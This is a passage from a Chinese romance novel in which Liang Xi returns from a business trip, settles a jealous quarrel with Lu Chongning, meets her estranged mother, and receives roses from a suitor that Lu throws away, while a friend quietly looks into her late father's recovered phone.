信航竖起耳朵听路崇宁说:“他未婚未育,身体原因生不了孩子,所以想让我以后继承家产。”
信航哈哈笑了几声,可路崇宁严肃的表情又让他把笑憋回去,细细一想,确实不对,“他那么有钱,领养一个小孩儿不是问题吧,你都二十多岁了,再培养也没多少感情啊。”
“所以他为什么选我?”
“不是因为你长得帅吧?”
“你觉得可能吗?”
信航猜想,“难不成他跟你爸交情深啊?”
“我爸出事后只有梁叔和民叔出来帮忙,何况我以前从没听我爸提过这个人,跟我爸交情深的人一般都来家里吃过饭,我确定刘俊华一次没来过。”
“有意思,如果没别的解释,只能说你命里有这个,不该穷。”
“我不会答应。”
以信航这些年对路崇宁的了解确实不会,如果他是那么轻易动摇且不坚定的人,也不会揽下那笔债。
“小宁,确定不吃啊?”
“你吃,我饱了。”
就着可乐,信航把剩下的凉皮吃个精光。
路崇宁从衣柜拿了一套自己的衣裤,递给他,说:“洗完澡穿这个,你跟我睡一屋,喜喜的的东西不让动。”
信航瞥一眼房门,“她也不让你进吗?”
“让。”
信航心里一阵失落,“怎么还区别对待呢?”
路崇宁笑笑,“怕落灰,她的房间都自己收拾。”
“行,我不进,回头啥东西没了可别赖我。”
信航回到路崇宁房间,躺到靠门口那侧,说:“我起得早,睡外边吧。”
“睡哪都行。”
等信航洗漱完路崇宁关灯,借着手机光亮躺到另一边,两人没再说什么,相继睡去
德城火车站,随着熙攘的人群刚走出站梁喜便接到许京平电话,时间掐得非常准。
“喂,梁喜,出来了吗?”
“出来了,我在”
“你往左看。”
梁喜闻话转过去,看见边走边挥手的许京平。
“师父,他在那。”
王兴印也冲许京平招手,几人很快汇合。
许京平拿过梁喜的行李箱,还要去拿老王的。
“京平,我自己来。”
“跟我来,咱们去停车场。”
出站口离停车场大概两分钟路程,很近,许京平往车上放行李,周靖哲看着车头,对梁喜小声说:“许老师这车可以啊。”
梁喜不认识,“什么车?”
“奔驰大G。”
“噢。”
“两百多万呢。”
梁喜对车不敢兴趣,见许京平放完行李,招呼周靖哲坐后面,副驾留给老王。
见许京平向后望,老王主动让位,“喜喜坐前面吧,我跟靖哲坐后边。”
老王发话,梁喜不好回绝,跟他换了位置。
“系安全带。”
许京平说完要帮梁喜拉安全带,她赶忙举起双手,“我自己来。”
“好。”
许京平感觉到梁喜的强烈拒绝,赶忙撤回身去。
等梁喜系好安全带,许京平才启动车子,慢慢驶出停车场。
路上三个男人聊得热火朝天,许京平说订好酒店了,离他家很近,晚上还要请客吃饭,梁喜被点名好几次加入聊天,可聊着聊着她又隐身,闭眼休息。
不清楚开了多久,梁喜感觉有人拍她肩膀,睁眼看见许京平给她解安全带,“到了。”
“噢。”
梁喜开门下车,行李已经被周靖哲拿下。
“跟我这边走。”
梁喜应声往前看,有位服务生模样的男人在帮他们推行李,他后身的旋转门转了半圈,一个穿着西服裙装的女人走出来,冲许京平招招手,“许总,您来啦!”
“王经理,我几个朋友来玩,房间订好了。”
王经理冲几位露出职业笑容,说:“欢迎
来到德城,里面请。”
许京平回身招呼老王和周靖哲,又走到梁喜身边,问:“累了吧?”
梁喜刚要给路崇宁发信息,冷不丁被打断,她放下手机,说:“不累。”
“饿不饿?”
“不饿。”
“德城比你们那边热,进酒店就好了,有空调。”
“没事,不热。”
几人在前台办好入住,房间都在十九层,三间大床房,许京平要送他们上去,老王没让,说别折腾了,他们放好行李就下来。
梁喜换了条裙子,第一个下到大堂,看见许京平正在大堂和刚才接待的王经理聊天,没打扰,到一旁沙发处坐下。
初到德城,梁喜对这里没太大感觉,整体比化城现代一些,除了许京平,一切对她来说都充满陌生。
看着窗外西斜的太阳,梁喜忽然有点想家,想路崇宁。
“喜喜,走啊!”
周靖哲喊人的声音打断梁喜思绪,她起身跟着那仨人一起走出酒店
距离德城不足一千公里的化城,路崇宁快九点才下班回家,今天忙得有点晚,没去咖啡店打工。
在楼下吃了碗馄饨,往家走的时候他随手点开朋友圈,最上面一条来自许京平,他发了一张和梁喜的合照,镜头里梁喜回眸笑得灿烂,手中拿着一个冰淇淋甜筒,许京平举着手机,向她那边歪头。
图片配的文字是:好久不见。
路崇宁和许京平加完好友后一次没联系过,他平时什么也不发,许京平虽然发,但都是一些关于黑陶的学术分享,没有任何私人生活,今天突然看见这个,路崇宁断定许京平是故意的。
但不管真假,如果他想让路崇宁吃醋,恭喜他,目的达到了。
关掉手机,路崇宁满脑子都是那张照片,挥之不去,赶也赶不走,在花坛边连抽两根烟往下压,第三根刚点上,手机嗡嗡震动。
来电人是梁喜,路崇宁盯着屏幕看了几秒,挂掉。
第35章 第三十五章 终于长嘴了。
许京平在德城有家公司, 做陶艺品电商,还有线下陶艺体验馆,以及制作、售卖黑陶的工作室, 梁喜他们一行三人挨个地方参观学习, 两天时间过得很快,这期间被接待的规格比昆明那次开会还高, 周靖哲私下跟梁喜说, 他们这次来让许京平破费了, 还说他有钱, 不差这点, 洒洒水。
这种善意的款待梁喜没法心安理得接受,她想着回头给许京平寄点特产,或者买点礼物什么的, 总之要回赠。
第一天抵达的时候老王就说三天后回去,返程车票也买了,当天晚上去吃饭路上许京平给梁喜买了一个冰淇淋,借此问她能不能多待几天。
梁喜直接拒绝, “不了, 我恋家, 不喜欢在外面待太久。”
许京平脸上明显失落, 但转瞬又笑笑, 眼睛虽然被镜片遮挡, 但梁喜还是捕捉到了他的情绪变化。
“你有时间的话可以去化城。”
“我会去的。”
梁喜客套,“随时欢迎。”
“你哥未必欢迎我。”
“管他干嘛。”
这两天梁喜几次给路崇宁打电话他都没接, 更可气的是第一次打还被挂了,梁喜决定回去不理他,让他也吃吃冷暴力的苦。
“你哥知道你明天回去吗?”
梁喜视线向下, 盯着鞋尖,“我没说。”
“他不去车站接你啊?”
“打车就行。”
许京平冷哼一声,“不像话。”
梁喜身边的朋友,不论男女貌似都比现在的路崇宁对她好,想到这梁喜心里更加不舒服
“没事,我家离车站近,再说我这么大了,不用接。”
梁喜给自己找台阶下,说完跟许京平告别,“我回房间了,明天见。”
“明天见。”
梁喜走了三天,信航在她家住了三天,就是下班有点晚,有一天他回来的时候路崇宁都快睡了。
第四天的时候信航给梁喜打电话,问她什么时候回,梁喜说已经在车上了。
原本信航第一遍问的路崇宁,可他说不知道。
“你妹哪天回来没告诉你啊?”
路崇宁淡淡回了句:“没联系。”
信航知道梁喜那个倔脾气,以为两人闹别扭来了,所以没再往下问,选择给梁喜打电话亲自说。
问完他告诉路崇宁,还说今晚不过去住了,改天再一起聚。
挂断信航电话,路崇宁刚点的面没顾上吃,开车往车站赶。
他不确定哪一班车,只得站在出站口等,今天阴天,像要下雨,他着急过来连伞也没拿。
周围尽是等车到站准备揽客的出租车和拼车司机,三两围在一起抽烟唠嗑,只有路崇宁安静地站在出站口一处柱子旁边,视线没什么遮挡,梁喜出来他就能看到。
从德城开过来的高铁今晚还剩两列,一列七点半,距离现在十五分钟,如果这列不是,就要等九点半了。
雨滴由小变大,也变得密集,雨水赶走了拉客的师傅,也浇灭了路崇宁的烟。
七点三十五,陆续有人从出站口往出走,大概出来二三十人后路崇宁看见了梁喜,也看见了他师父还有周靖哲。
路崇宁掐灭烟走过去,不打招呼直接拿走梁喜的行李箱。
梁喜抬头,愣了下,“你怎么来了?”
“接你。”
梁喜见他衣服都浇湿了,头发也湿漉漉的。
“王老师。”路崇宁跟老王打招呼,要帮他拿行李,老王没让。
“崇宁,来接你妹啊。”
“嗯,都上车吧,我送你们回去。”
“这孩子,下雨都浇湿了,咋没打伞呢?”
旁边,周靖哲像个好人一样,“谢谢哥。”
路崇宁在前面带路,几人小跑到停车场,等上车身上都淋了雨。
“幸亏你来了,要不雨天打车太费劲。”
老王客气几句,搞得路崇宁有点不好意思,他把纸巾依次递给老王和周靖哲,最后放到梁喜腿上。
梁喜抽了一张随便擦擦,濡湿的纸团又被路崇宁拿走,一直在他手里攥着。
送完老王和周靖哲,还得再开十分钟,雨刷器不停摆动,轮胎摩擦雨水和地面的声音有节奏地响着,梁喜嘴巴闭得严实,有想说的话,但忍着不说。
快开到家的时候路崇宁终于主动开口,“在车上吃饭了吗?”
“没吃。”
“一会儿一起吃点。”
梁喜看着路崇宁被雨浇湿的衣服,被他前后几天反差的态度搞得莫名其妙,为什么她一离开路崇宁便如此冷淡?还是她不在期间发生了什么事?
车开到小区门口,路崇宁解安全带,“等我。”
说完下车顶着雨跑进便利店,再出来的时候手里撑着一把伞,绕到梁喜这边打开车门,“下来。”
梁喜迈出一条腿,仰头时和路崇宁视线对上,莫名又停下来,“你没看到我给你打电话吗?”
憋心底几天了,问出口的一瞬无比畅快。
路崇宁没想到她会挑这种时候问,握伞的手用力抓紧,身子前倾,音量抬高盖过雨声,“看到了,你和许京平的合照也看到了。”
“合照?在哪看的?”
梁喜不否认她和许京平合照过,事发突然,她也很被动,当时许京平叫她,等她意识到的时候照片已经拍完了。
“先下车!”
“你先回答我!”
梁喜倔劲上来,几头牛都拉不回来,路崇宁比谁都清楚,他掏出手机,打开许京平发的那张照片给梁喜看。
照片梁喜看过,不必细究,知道来源后把手机还回去,“你怎么有他微信?”
“那你应该问他。”
梁喜坦然
,“我和他没熟到那个份上,照片是偶然拍的,他没跟我打招呼,而且我也不知道他往出发。”
“不熟吗?我看照片里你俩挺熟的。”
阴阳怪气,八百里外都能听到
“路崇宁,你到底什么意思啊?许京平那么直白,我要是喜欢他早答应了。”
伞下,路崇宁的嘴角慢慢上扬,虽然此刻后背正被雨淋着,可心情却像被雨滋润的禾苗,无比舒展顺畅。
说完想说的话梁喜从车上下来,被路崇宁拉到伞下,只是伞有点小,想要避雨的身体下意识靠近,路崇宁的手不自禁搭上梁喜的腰。
雨水清凉,掌心温热,虽然每天都有很多事重复发生,但有些事一辈子也不会有几次,比如此刻。
“我拿行李。”
梁喜说完看了路崇宁一眼才朝后备箱那边走,她有意拖延,也有意记住了被拦腰搂住的触感。
路崇宁赶忙跟过去,先她一步拿到行李箱。
“许京平发照片你生气啊?”
“”
“所以不接我电话,是吗?”
后备箱重重落下,路崇宁看着梁喜,“是。”
路边传来一声鸣笛,对视的两人相继移开目光。
“我想吃砂锅。”梁喜说。
“好,你想吃什么就吃什么。”
这句话在高中时梁喜听路崇宁说过很多遍,关系解封之前他俩总对着干,但之后很多事路崇宁都很顺从,而且那份顺从并非因为他寄住在梁家。
“信航今天不来吗?”
“不来。”
“他没去我那屋吧?”
“我把门关上了。”
梁喜拍拍路崇宁肩膀,“做得好。”
表扬突如其来,路崇宁低头笑得温顺,虽然只有三天没见,但对梁喜来说他的笑如此久违
砂锅店在路口,过了饭点又加上下雨,店里只有一桌客人,梁喜他俩进屋后刚巧那桌吃完离开。
梁喜喜欢吃哪种路崇宁知道,他一起点了,还要了两张饼,让老板帮忙切成块。
一份酸菜羊肉锅,一份西红柿牛腩,在雨天里滋滋冒着热气,香气格外诱人。
这些年养成默契,两人吃饭前半段都不喜欢说话,先喂饱肚子才有精力干别的。
砂锅一半下肚,梁喜放下筷子的同时路崇宁把勺子递过去,她接过,开始喝汤。
这会儿喝温度正好,没那么烫,再把饼放汤里泡一泡更好吃。
正想着,路崇宁将几块饼夹进她的砂锅里,不必说谢,她心安理得接受,就像她这么对路崇宁,他也坦然一样。
“出差三天我都没吃饱,还是家里东西好吃。”
“我看你冰淇淋吃得挺好的。”
勺子敲敲锅边,梁喜冲他喊:“没完了你!”
“完了。”
火也卸干净了,路崇宁看见梁喜嘴边粘着饼渣,抬手帮她擦掉,“留着当夜宵吗?”
“路崇宁!”
梁喜瞪他一眼,“你这张嘴硬得跟钢筋水泥有一拼,而且只对我嘴损。”
“你怎么不说我没对别人这么好过?”
“信航啊。”
路崇宁摇摇头,“不一样。”
那段被压得直不起腰的年少时日,信航和梁喜都曾拉过他一把,而真正让他抬头直视困境的人只有梁喜,就像向日葵追随着阳光,汲取养分,他始终需要梁喜这份光照。
吃饱喝足,梁喜望着被雨滴拍打的窗户,想起小时候一到雨天梁辰义就带她下楼玩水,其他人都急着躲雨,而这对父子却把它当成乐趣。
梁喜抻了个懒腰,喃喃说道:“我想我爸了,等这周休息去墓地看看。”
“我陪你去。”
“我爸的事信航应该都告诉你了吧,我爸手机不见了,一直没找到。”
“或许丢哪。”
“可能,他喝多了总乱躺,你记不记得有一次还是你把他背上楼的。”
“信航还跟你说什么了?”
看似随口一问,实则打探,路崇宁不能说“没什么”,否则梁喜会起疑
他放低音量,“信航说梁叔的尸体解剖过,死因是脑出血。”
“嗯,这样我才能安心,反正到头来不过一把土,我爸不会怪我。”
路崇宁不想让梁喜伤怀,放下筷子擦擦嘴,说:“回家吧,信航给你买了好多蓝莓。”
梁喜转瞬从低落的情绪中脱离,夸张地扒着眼睛,“所以才这么明亮。”
路崇宁忍不住笑,“有什么关系。”
“当然有关系,你从小喝牛奶才长这么高啊!”
“吃我家砂锅一样身体倍儿棒。”
梁喜和路崇宁同时望向吧台,老板呲着牙一脸真诚,把两人逗笑。
陌生人带来的开心往往都很纯粹,这些数不清的零星片段拼凑起来,就变成了温暖的平凡市井。
这一刻的路崇宁短暂忘记了从前种种苦难,这一刻的梁喜也短暂忘记了梁辰义下葬那天的漫天纸钱,他们各自孤独,又在相偎中获取温暖。
第36章 第三十六章 不管什么,有我替你挡。……
老王参观完许京平的公司和工作室之后不停感慨年轻人是后起之秀, 同样做黑陶,他一直遵循常规的运营模式,制作、售卖、兼顾教学, 随着时代发展, 年轻一辈已赶超他,尤其是许京平, 对老王触动很大。
出差回来后几个人吃完饭坐一起聊天, 老王说虽然工作室有老客户照顾生意, 但也要创创新, 不能只在东北兜圈子, 也要往南方发展。
周靖哲跟老王建议,说完全可以复制许京平公司现成的运营模式,老王没表态, 梁喜觉得那种模式未必适合老王,毕竟他的人设是手工匠人老师傅,新的模式意味着尝试,也意味着一定几率的失败。
再者, 老王的儿子不愿继承家业, 黑陶更是一天没学过, 据佩姐说, 老王媳妇儿每个月都给儿子转五千块钱, 怕他在外面吃苦, 可他的房子和车全是家里买的,自己也有工作, 倒不至于吃苦,当妈的乐意给,别人不好评价什么, 只是老王一旦想转型,可用的值得信任的人不多,要是儿子能回来帮忙最好。
在工作室聊了一天也没聊出个所以然,梁喜不想再听周靖哲那些不切实际的想法,跟老王打招呼准备走。
“喜喜!”老王从手机屏幕抬头,说:“下周末在林业公园有个非遗市集,朋友给我留了两个展位,加起来大概五六十平,你和靖哲带一些成品过去,不用想卖多少,宣传品牌为主,有合作意向可以加个联系方式,过后约到工作室来谈。”
梁喜点点头,“要做点宣传物料不?”
“看着弄吧,你不是会那个p啥吗?设计好之后给我看看,到时要是有时间我也过去。”
p啥?梁喜憋不住乐,“好,我知道了。”
七月是雨季,一旦下起来便没完没了,持续半个月都有可能,天气预报说今天百分百有雨,于是梁喜没骑车,伞倒是带了,不过带了也白带,因为早上路崇宁送她来的,还说晚上过来接。
下班时间,梁喜站在门口往他每次来的方向望,没看到,正想打电话的时候有人打过来。
外地号码,梁喜以为是快递员,接得迅速,“喂,你好。”
“喜喜吗?”
女人的声音,五分熟悉,五分陌生。
“你是哪位?”
“喜喜,我是妈妈。”
“”
好半天梁喜讲不出一个字,没想到有生之年她妈还能打电话来,从有
第一部手机开始梁喜就没换过电话号,或许她隐隐期待过什么,只是持续落空,再落空。
“找我有事吗?”梁喜问得冷漠。
“呃听说你爸没了。”
“嗯。”
“你现在还在北京吗?”
这时路崇宁的车开过来,梁喜边走边说:“在化城。”
“正好我下周要回去一趟,冯静结婚。”
冯静
是梁喜舅舅家的女儿,不过她们小辈没联系,梁喜只记得一个名字。
打开车门,梁喜坐进去,“没别的事我挂了。”
她没顾那头还要说什么,直接挂断。
“谁?”
“谁呀?”
两个人的声音,梁喜惊得回头,发现信航也在车上,“大哥,你从哪冒出来的?”
信航无辜脸,“我一直在啊,再说我发信息告诉你了。”
“是吗?”
路崇宁还看着梁喜,她余光扫到,说:“我妈,她知道我爸的事了。”
听到是梁喜妈妈,路崇宁和信航都不好说什么,毕竟是长辈,小时候还叫过姨呢。
“她要见你吗?”路崇宁问。
梁喜把包扔到后座,“没说,我也不想见,走吧,饿了。”
包重重落在信航腿上,从力道上就能判断出梁喜心情不太好。
车里三个人,只有信航父母健在,而且感情不错,在和谐温暖的家庭里长大,信航的人生要顺遂很多,他知道梁喜有着怎样的原生家庭,在那种环境下没走歪路实属不易,无病无灾地活到了二十几岁,刚从父亲去世的悲痛中慢慢缓解,多年不见的妈妈又找过来
不管别人怎么想,信航不会道德绑架她,让她同意见面,说什么不要怨恨之类的话,那样对梁喜太不公平。
路崇宁做主把车开到小区对面的一家私房菜门口,点了几个爱吃的,没怎么说话,一心干饭。
快吃完的时候路崇宁放桌上的电话一直响,他挂断两次后调成静音,后来干脆翻过去,眼不见为净。
信航看见了,故意逗他,“女朋友查岗啊?”
“不是,骚扰电话。”
梁喜冷漠拆穿,“不是你同事阿布吗?”
名字有备注,除非她瞎。
信航笑得更诡异了,“从小一起光屁股长大,跟我俩有啥不好意思的。”
路崇宁喝了口矿泉水,淡淡说道,“有人让我别伤女孩儿的心,我要是接了,还不跟她谈恋爱,岂不是更伤?”
信航不以为意,“谁啊?还能管得了你。”
路崇宁看了梁喜一眼,目光所指。
梁喜把碗里的排骨丢给信航,“不好啃,别给我夹了。”
信航瞪着眼睛,夹起那块排骨,一口咬下,贼顺溜。
当场被打脸,梁喜低头不语。
路崇宁见状把她喜欢吃的牛肉炒香菜挪到跟前,可梁喜毫不领情又给挪回去,放下筷子,说:“我饱了,你俩接着吃吧。”
信航一愣,“又咋了?发啥脾气啊大小姐?”
等梁喜开门出去,信航问路崇宁,“什么情况?”
“程姨突然打电话过来,她心情不好。”
“也是。”
信航把碗里剩下两口饭解决,开始说正事,“梁叔手机找到了。”
路崇宁一下注意力集中,“找到了?!”
“今天派出所的朋友跟我说的,他本来想直接联系喜喜,但梁叔的事儿有几个疑点,保险起见,还是先告诉我。”
“在哪找到的?”
“一个小年轻在喜喜家附近网吧电脑机箱里找到的,他说包宿的时候电脑突然死机了,找不到网管,寻思自己拆开机箱瞅瞅,没想到里面竟然有部手机,就交到派出所了,他没撒谎,有监控为证。”
路崇宁神情凝重,“手机有电吗?”
“刚发现的时候没电,我朋友给充了,里面除了几条通话记录以外什么也没有,和营业厅调的通话记录相比少了一些,网吧每天来来往往那么多人,确定不了是谁把手机放进去的,而且他们监控只保留一个月,根本无从查起,现在只能依据这份通话记录做对比。”
信航从兜里掏出两张纸递给路崇宁,“上面划线的都是少的。”
路崇宁第一眼便捕捉那串熟悉的号码,“怎么喜喜的也删了?”
“所以我感觉像随机删的,目的是为了删一个,其他的掩人耳目。”
“之前你跟我说的吴青没删。”
信航指着其中一个号码,说:“吴青暂时先放放,真正让我起疑的是这个号码,机主叫刘云,一个四十岁的女人。”
路崇宁猛地想起信航说梁叔有女朋友这件事,她的号码也混在被删的人里面,确实值得注意。
“手机暂时先放派出所两天,如果找不到其他可疑的地方只能还给喜喜了,到时我会找个说辞,不让她多想就成。”
“嗯,有什么消息随时跟我说。”
路崇宁起身去结账,信航收尾,又吃了几口菜,两人一起离开饭店。
在路边拦了一辆出租,上车前信航说:“一会儿回家小心点,有个气不顺的。”
路崇宁笑笑,“走吧。”
等车开走,路崇宁站在路边思来想去,决定给梁喜打电话,“下来走走吗?”
“我脱了。”
路崇宁挠挠头,听到梁喜又说:“穿睡衣呢。”
“昂,那我回家了。”
楼上,梁喜刚放下电话,很快又把衣服穿上,下楼走到花坛时碰见路崇宁。
“怎么下楼了?”
“买东西。”
路崇宁冲她勾勾手。
梁喜走过去,路崇宁递过来一根冰淇淋,梁喜认得这款,八块一根,好贵。
拆开外包装皮,她问:“有事儿求我啊?”
“没事。”
“那多破费。”
“信航让我哄哄你。”
“哄我?那多难为你啊。”
对面,大爷推了一辆载满纸壳的自行车,路崇宁揽过梁喜肩膀,让她走里边。
这样的“亲密动作”发生过几次,梁喜依然感觉紧张
“吃吗?”
她把冰淇淋递到路崇宁嘴边,他小小吃了一口。
“咬大点儿!”
路崇宁往后仰,躲开,“你吃。”
梁喜直接喂他嘴里,路崇宁舔舔嘴唇,“葡萄味。”
“你买的你都不知道什么味啊?”
“没注意,看这个贵就买了。”
“下次别买,浪费钱,我吃五毛一根的就行。”
走到小广场,喧闹的声音达到顶峰,一群孩子聚在那,有的相互追逐,有的蹲在地上安静推小车,大人们则在一旁闲聊。
忽然一个小男孩儿尖叫一声,把梁喜吓一跳,路崇宁看着她脸上一闪而过的惊慌,说:“你小时候比他厉害。”
梁喜眨眨眼,“有吗?”
“你说呢?”
路崇宁转身点了根烟,跟梁喜继续往前走,“你和阿姨要是见面,怕自己去不舒服的话我可以陪你。”
梁喜沉默几秒,“如果我说不想见,你会觉得我薄情吗?”
“当然不会。”
“我妈刚走那几年我经常想她,后来习惯就不想了,这些年都是我爸和你陪我过来的,唐姨他们一家对我也很照顾,讲真的,陪伴大过血缘,我就是一个例子。”
那些记忆在脑子里着重滞留的阶段没有妈妈的参与,梁喜想努力记住,也只剩下一些残影。
冰淇淋吃完,木棍扔进垃圾箱,她舔舔嘴角,故作轻松,她不是不难受,只是不想被路崇宁看出来。
“不想应付的场面,随时给我打电话。”
梁喜笑了笑,“叫你去你能干什么?”
路崇宁裹了口烟,说:“不管什么,有我替你挡。”
第37章 第三十七章 路崇宁扔了许京平的花。……
梁喜这几天都在忙市集摆摊的事, 她自己手绘设计了几个展架和一块喷绘布,老王跟朋友借了露营用的桌椅,剩下的只需等黑陶展品运过去就行了。
一忙起来梁喜把她妈打电话的事忘在脑后, 直到市集开始前一天她妈竟然找到工作室来。
当时梁喜正在地下室打包明天带到市集的黑陶成品, 佩姐下来说上面来了一个女人找梁喜,看样子不像看黑陶的。
梁喜以为是崔影, 兴冲冲上楼, 楼梯走到一半佩姐在身后喊:“她说她叫程恩君。”
梁喜突然刹住脚, 缓缓转头, 盯着佩姐, 眼里似有泪光闪动。
“怎么了?喜喜。”
“没事。”
梁喜继续上楼,只是步子放缓许多,从地下室出来, 那个在记忆
中早已远去的身影出现在面前,老了,脸上肉眼可见的皱纹,梁喜努力从她眉眼中辨别年轻时的轮廓, 隐隐的似曾相识一闪即灭。
“喜喜。”
“找我吗?”
平静的语气过后, 梁喜眼前忽然闪过死去的梁辰义, 鼻子涌上一股酸。
她妈走了有十三年了, 好久好久。
“妈来看看你, 长这么大了, 越长越漂亮,这么看你还是像我多一些。”
程恩君上前来, 想拉梁喜的手,被她本能躲开,“你怎么找到这的?”
“你三叔告诉我的。”
梁喜手有点抖, 她摘掉手套,“出去说吧,别影响其他人。”
手套放到货架上,梁喜前面带路,程恩君紧随跟上,只是疏离之感让两人看不出一丝母女的影子。
后院门打开,梁喜坐到墙边长椅上,“有什么想说的,说吧。”
程恩君也坐下,一人把一头,中间空出一块
“你爸怎么走的?”
“脑出血。”
“那么喝酒,早晚出事。”
这话梁喜听过很多遍,事实如此,她也不想替梁辰义狡辩。
“你唐姨一家还好吗?听说信航当警察了。”
“嗯。”
“你在这一个月赚多少钱?够花吗?”
梁喜仿佛一下又回到当年被问成绩的情景中,无语,难过,一个字都不想说。
“你放心,我不是来朝你要钱的,我自己有存款,再婚后又生了一个小孩儿,以后也用不着你养老。”
梁喜笑了声,心底涌出一股苦涩,“谢谢。”
这句“谢谢”让程恩君很难为情,沉默良久她才问,“小宁那孩子现在怎么样了?”
“挺好的。”
“她妈有消息了吗?”
“没有。”
往事浮现眼前,程恩君说:“你们小辈不知道,路召庆年轻时得罪过马有原,噢,就是你杨姨初恋,这里面好多事儿,说不定被报复了。”
梁喜的身子一下绷直,好奇心上来,顾不上一直冷漠的态度,问道:“你认识马有原吗?”
“认识,我和他是邻村,全喜村一组和三组相隔不远,但不熟,十几岁之前在学校见过,后来你姥爷带我们搬到化城,只跟老家几个亲戚有联系,他被你爸打了之后去了南方,这些年好像就回来过一次,给家里人扫墓。”
走了很多年的人,应该跟梁辰义没什么关系,刚才的好奇劲又落回去。
“你自己住吗?处没处对象呢?”
“和路崇宁一起住。”
程恩君脸上闪过一丝不自然,“别被糊弄了,毕竟你爸留给你的房子还值点钱。”
“我不是小孩子,路崇宁也不是那种人。”
程恩君看着梁喜,一副“你还小,话别说太早”的神情,“信航那孩子倒是不错,你爸他们三兄弟现在就属信民家过得好,你要是跟信航成了,你唐姨肯定待你像亲闺女一样。”
“我把信航当哥。”
“你有小宁一个哥还不够吗?”
“谁说我把他当哥了?”
梁喜说完看眼时间,起身,说:“我还有工作没忙完,就不留你了,以后不要不打招呼来这找我,影响工作不太好。”
梁喜打开后门,示意程恩君可以回去了。
她似乎还不想走,或许还有话要说,但逐客令已下,即便她有些委屈地看着梁喜,也没得到任何回应。
在梁喜转头望向别处时,程恩君终于站起来,“我知道你怪我当初没把你带走,妈也是身不由己。”
“你想多了。”
程恩君叹了口气,背包离开。
直到她从前门出去的背影消失不见,梁喜又回到后院,望着天上涌动的云,心里空荡一片。
她觉得亲情比爱情要复杂,人被这两种情感反复支配,能在其中任何一种关系里游刃有余,都是被老天眷顾的宠儿,可对现在的梁喜来说,哪一种都抛弃了她
周末的市集相当热闹,梁喜六点钟便早早起来,到工作室后跟周靖哲还有佩姐把物料和黑陶拉到现场开始布置。
老王借来的露营桌椅完美体现了它的价值,这不,刚布置好,周靖哲和佩姐便过去,边吃早餐边聊天,梁喜觉得这幅画面有点刺眼,不想跟他俩掺合,于是去周边逛逛。
好天气引得不少人到市集来,除了梁喜他们,还有城市风采画展、剪纸、版画等,布置得非常漂亮,粗略走完一圈,梁喜又回到自家展位。
“喜喜,有人给你送花。”
佩姐从桌下拿出一大束红玫瑰递给梁喜。
“给我的?”
梁喜有点蒙,花上有一张卡片,上面写着:“给喜喜,祝市集大卖——许京平。”
哪有祝人发财送红玫瑰的?
佩姐凑过来摸了摸玫瑰花瓣,“许老师真浪漫啊,这么多玫瑰是不是有九十九朵?”
梁喜没接茬,随手放到一边,没什么兴趣。
周靖哲一脸不解,问:“不心动啊?这么多花。”
梁喜笑了声,“花和心动有关系吗?”
关系在人吧,如果是路崇宁送的,哪怕只有一束向日葵,梁喜也会将它插入花瓶精心照顾。
周靖哲还想说什么,这时许京平打电话过来,梁喜到一旁去接,“喂。”
“喜喜,花收到了吗?”
“收到了,谢谢。”
“我本来想过去看你的,这两天公司忙,走不开,等下周吧,我去之前给你打电话。”
“许京平,你别”
“我还有事,先挂了,回头打给你。”
预料到那句未尽的话一定很刺耳,所以许京平选择不听。
放下手机,梁喜望着那一大束鲜艳的红玫瑰有些不知所措,她不是没收过花,只是这么多还是第一次,该怎么处理好呢?扔了?显得太无情,而且许京平写的又不是表白的话,拿回家?被路崇宁看到他会什么反应?
梁喜倒有点好奇了
陆续有游客来黑陶摊位询问价格和样式,梁喜暂时忘记了玫瑰花,进入忙碌状态。
临近十一点,展位旁边来了一个熟悉面孔,梁喜认出阿布,也认出她旁边跟着的女生,两人上次在路崇宁工作的咖啡店一起喝咖啡来着。
“梁喜!好巧!”
阿布拉着朋友停下,和梁喜打招呼。
“来玩吗?”
“嗯,我和朋友去附近商场,看这边有摆摊的,过来瞧瞧,这些都是你做的吗?”
梁喜指着周靖哲说:“同事做的。”
阿布看向朋友,“有喜欢的吗?挑一个,咱俩给小宁哥他妹捧捧场。”
朋友看着桌上的瓶瓶罐罐,貌似兴趣不大,摇摇头说:“我不喜欢,你要喜欢自己买吧。”
阿布扫了一眼价格标签,有点为难,最便宜的笔筒她已经有了,其他的都有点贵。
梁喜看出来了,“没事,你们再去别的地方转转。”
就别在我这演戏了。
“不好意思。”阿布往梁喜身后看,“小宁哥没陪你来啊?”
“他有自己的事。”
“大周末的,从来没听说他去哪玩过。”
梁喜不再接茬,转头去给另一位客人介绍。
朋友拉着阿布走,“你呀,别在他妹身上下功夫了,有这时间还不如直接找你的小宁哥更快一些。”
阿布又回头看了一眼梁喜,这才跟朋友离开
今天太阳大,温度高,梁喜上午下午各喝了一杯冰美式才勉强撑过。
临近四点,各个摊位开始收拾东西准备撤,梁喜和周靖哲往箱子装黑陶展品,佩姐则在一边算账,看出库几个,收的钱能不能对上,
装着装着,忽然梁喜瞥见角落的玫瑰花,被热浪冲了一天,玫瑰花并没打蔫多少,这要归功于花束下面插着的的花泥,还有佩姐掸了好几次水。
怎么处理呢?哎。
“喜喜。”
梁喜闻声抬头,看见路崇宁从左边走过来,今天穿得很随意,黑T加运
动短裤,脚上穿着信航买给他的跑步鞋。
“结束了吗?”
“昂,快了,把这些装完就走。”
路崇宁把手里打包的少冰橙汁拿出来放到梁喜面前,“喝吧,放了四块冰。”
梁喜被四块冰的具体数字逗笑,拿起来吸了一口,“还不如不放呢。”
“太凉不好。”
梁喜递给路崇宁,“不信你尝尝,一点都不冰。”
路崇宁抱着质疑的态度喝了一口,确实
“哥,来啦!”
周靖哲从喷绘布后走到前面,跟路崇宁打完招呼一秒都没耽搁,把玫瑰花从桌下抱起来,“你看,许老师送你妹的花,好大一束。”
路崇宁原本还不错的心情忽然降至冰点,他冷冷看了花一眼。
“你来干嘛?”梁喜问。
“路过。”
“去咖啡店啦?阿布来市集玩还问你来着。”
“嗯。”
一个字的回答完美避开阿布。
周靖哲特别欠地把花抱到梁喜身边,还不忘叮嘱路崇宁,“哥,你开车来的吧?正好帮梁喜拉回去,有点沉。”
路崇宁踢了下桌角,梁喜抬头,撞上他俯视的目光。
“要拿回家吗?”他问。
“不拿。”
路崇宁忽然抱起花,在众人注视下走到远处垃圾桶,见垃圾桶装不下,他把花利落扔到一旁地上。
周靖哲和佩姐都看傻了,有点大气不敢出,佩姐捂嘴小声问:“你哥是不是不同意你和许老师在一起啊?”
梁喜盯着路崇宁的身影,“他管不了我。”
“那他扔你花干啥呀?可惜了,不少钱呢。”
路崇宁走回来,佩姐赶紧闭嘴,低头干活。
